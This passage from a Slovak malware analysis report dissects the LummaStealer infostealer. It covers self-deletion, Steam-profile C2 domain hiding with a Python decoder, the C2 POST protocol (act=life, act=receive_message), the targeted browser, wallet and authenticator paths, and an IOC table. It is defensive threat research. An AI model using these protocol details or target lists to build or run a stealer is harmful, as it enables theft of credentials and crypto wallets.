Samovymazanie

Po tom, čo malvér vykoná škodlivú aktivitu, sa škodlivý súbor vymaže (metóda „FileRemover().remove_file()“) a proces sa ukončí, pretože už svoj cieľ splnil. Infikoval zariadenie malvérom LummaStealer a zabezpečil si prípadnú perzistenciu v systéme obete.

FileRemover().remove\_file()

Obr. 48 - FileRemover().remove_file()

Self-deletion

Obr. 49 - Self-deletion

LummaStealer malvér

SHA-256 hash súboru: 93d5effb71e0ea93c2243ba5df532e4ef901b22893cc54e3edd5c2d0c35e3338

Extrahovaný LummaStealer malvér tentokrát už nebol chránený žiadnym obfuskátorom.

Output of Detect It Easy (DiE)

Obr. 50 - Výstup z nástroja Detect It Easy (DiE)

LummaStealer malvér obsahuje množstvo stringov, ktoré naznačujú aktivitu tohto malvéru, a to exfiltráciu emailových schránok a dát z prehliadača (história, uložené heslá, cookies) pomocou protokolu HTTP. V stringoch sa taktiež nachádza aj odkaz na Telegram profil a dátum vytvorenia tohto malvéru („Feb 6 2025“).

LummaStealer strings – floss output

Obr. 51 - LummaStealer strings – výstup z nástroja floss

Získanie C2 domén pomocou platformy Steam

V rámci analýzy LummaStealer malwaru sme zaznamenali HTTPS požiadavky na URL adresu „hxxps[://]steamcommunity[.]com/profiles/76561199822375128“. Ide o konto na známej hernej platforme Steam, kde je možné nájsť meno používateľského účtu.

Toto meno v sebe ukrýva C2 doménu, na ktorú sa neskôr LummaStealer pripojí. Malvér spraví požiadavku na Steam profil, získa z neho meno používateľa a spraví posun textu o 15 písmen – z písmena „a“ sa stane písmeno „p“ atď. Takto dešifrovanú doménu následne použije malvér na C2 komunikáciu.

Steam account used for obtaining C2 domains

Obr. 52 - Steam účet využívaný na získanie C2 domén

Jednoduchý Python skript, ktorý dokáže spraviť posun písmen o 15, a tým získať C2 doménu:

def decode_c2_domain(encoded_c2_domain):
    decoded_c2_domain = ""
    for char in encoded_c2_domain:
        if 'a' <= char <= 'z':
            decoded_c2_domain += chr(((ord(char) - ord('a') - 11) % 26) + ord('a'))
        elif 'A' <= char <= 'Z':
            decoded_c2_domain += chr(((ord(char) - ord('A') - 11) % 26) + ord('A'))
        else:
            decoded_c2_domain += char
            
    # result = "decoded C2 domain: exploreth.shop"
    print(f"decoded C2 domain: {decoded_c2_domain}")

# steam nickname:
encoded_c2_domain = "piawzcpes.dsza"

decode_c2_domain(encoded_c2_domain)

Komunikácia s C2 serverom

V prípade, že chceme komunikovať s touto C2 doménou, tak musíme spraviť HTTP POST požiadavku na endpoint „/api“, do požiadavky musíme uviesť pevne zakódovanú hodnotu HTTP hlavičky „User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36“ a musíme použiť POST parameter „act“.

Hodnota POST parametra „act=life“ slúži na informovanie C2 servera, že úspešne vzniklo spojenie medzi malvérom a C2 serverom.

First communication with C2 server

Obr. 53 - Prvotná komunikácia s C2

Hodnota „act=receive_message&lid=…“ vráti konfiguráciu LummaStealer malvéru, ktorá obsahuje nastavenia, čo všetko má malvér exfiltrovať z počítača obete – parameter „lid“ je LummaStealer ID zariadenia, na ktorom bol spustený malvér. Táto konfigurácia je Base64 enkódovaná a šifrovaná pomocou XOR operácie, pričom ako kľúč sa využíva prvých 32 bajtov dekódovaného textu.

Obtaining C2 server configuration

Obr. 54 - Získanie konfigurácie z C2 servera

Decrypted stealer configuration

Obr. 55 - Dešifrovaná konfigurácia stealeru

Získaná konfigurácia LummaStealer malvéru zabezpečuje exfiltráciu citlivých informácií z rôznych prehliadačov a aplikácií. Medzi prehliadače, ktorých rozšírenia a súbory sú cieľom exfiltrácie, patria Google Chrome, Mozilla Firefox, Opera, Brave, Microsoft Edge a Chromium, ktoré uchovávajú rôzne dáta ako napríklad uložené heslá, cookies, históriu a profilové informácie.

Okrem toho sú exfiltrované rôzne kryptomenové peňaženky a autentifikačné aplikácie, ako sú MetaMask, Coinbase, TrustWallet, BinanceChainWallet, Authy, Phantom a ďalšie, ktoré spravujú prístupové kľúče a autentifikáciu pre online účty a kryptomeny.

Ďalej sa exfiltrujú súbory a nastavenia aplikácií, ako sú AnyDesk, Electrum, Telegram, FileZilla a Steam, ktoré môžu obsahovať citlivé údaje ako kľúče alebo prístupové informácie.

Zoznam všetkých exfiltrovaných aplikácií, prehliadačov a ich rozšírení:

Rozšírenia do prehliadača:

Auro DAppPlay Keplr
Authenticator EnKrypt KHC
Authy EOSAuthenticator Leaf
BinanceChainWallet EQUA Liquality
BitApp GAuthAuthenticator Math
BitClip Guarda MetaMask
Byone Guild MEWCX
Clover HyconLiteClient Nabox
Coin98 ICONex NashExtension
Coinbase iWlt NeoLine
Cyano JaxxLiberty Nifty
OneKey SteemKeychain TronLink
Phantom Temple TrustWallet
Polymesh TerraStation UniSat
RoninWallet TezBox Wombat
Saturn TrezorPasswordManager Yoroi
Sollet ZilPay

Súbory zariadenia:

%appdata%\AnyDesk %appdata%\OperaSoftware\OperaStable
%appdata%\atomic\LocalStorage\leveldb %appdata%\TelegramDesktop
%appdata%\AuthyDesktop\LocalStorage\leveldb %localappdata%\BraveSoftware\Brave-Browser\UserData
%appdata%\Binance %localappdata%\Chromium\UserData
%appdata%\Bitcoin\wallets %localappdata%\CocCoc\Browser\UserData
%appdata%\com.liberty.jaxx\IndexedDB %localappdata%\CocCoc\Browser\UserData
%appdata%\Electrum\wallets %localappdata%\Coinomi\Coinomi\wallets
%appdata%\Ethereum %localappdata%\Comodo\Dragon\UserData
%appdata%\Exodus\exodus.wallet %localappdata%\Google\Chrome\UserData
%appdata%\FileZilla %localappdata%\Kometa\UserData
%appdata%\LedgerLive %localappdata%\Microsoft\Edge\UserData
%appdata%\Mozilla\Firefox\Profiles %programfiles%\Steam
%appdata%\OperaSoftware\OperaGXStable %programfiles%\Steam\config
%appdata%\OperaSoftware\OperaNeon\UserData %userprofile%

Analýza C2 domén

Útočníci neustále vytvárajú nové domény, ktoré zneužívajú na C2 komunikáciu. Pre registráciu využívajú emailové adresy zo služby inbox.eu. V rámci C2 infraštruktúry zneužívajú Cloudflare služby pre zakrytie reálnych IP adries C2 serverov. Zoznam nami identifikovaných domén sa nachádza v sekcii IOCs.

WHOIS domains exploreth[.]shop

Obr. 56 - WHOIS domény exploreth[.]shop

Referencie

IOCs

Typ Hodnota
Doména actiothreaz[.]com
Doména breedertremnd[.]com
Doména commerceddecker[.]run
Doména cxheerfulriver[.]pics
Doména disobilittyhell[.]live
Doména entereddeacr[.]run
Doména exploreth[.]shop
Doména garulouscuto[.]com
Doména grainybande[.]life
Doména importenptoc[.]com
Doména inputrreparnt[.]com
Doména jewellycotten[.]digital
Doména marathinwulke[.]today
Doména mycampdrivers[.]bet
Doména pgldrop24[.]pro
Doména presentymusse[.]world
Doména rebeldettern[.]com
Doména scionoutmatchsmoked[.]shop
Doména torpdidebar[.]com
Doména voicesharped[.]com
Doména wealthestored[.]icu
Email makkendozfup1@inbox[.]eu
Email tolyakoshmar0@inbox[.]eu
Súbor (SHA-256 hash) 632f70ee1eb03fe8a11230c04cb8c96331b9c6d475fd469f0268d2de82c54857
Súbor (SHA-256 hash) b3265d21fd8e204bbd570e924afcf72c0562e8b0d40fb4ab65e9249f04956f24
Súbor (SHA-256 hash) ef3e7109767e5c39781994773899a87260fca6f55f45abfe541ceb52489a52b9
Súbor (SHA-256 hash) 93d5effb71e0ea93c2243ba5df532e4ef901b22893cc54e3edd5c2d0c35e3338
HTTP POST parametre act=life
HTTP POST parametre act=receive_message&lid=
HTTP POST parametre act=recive_message&lid=
URL hxxps[://]steamcommunity[.]com/profiles/76561199822375128
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36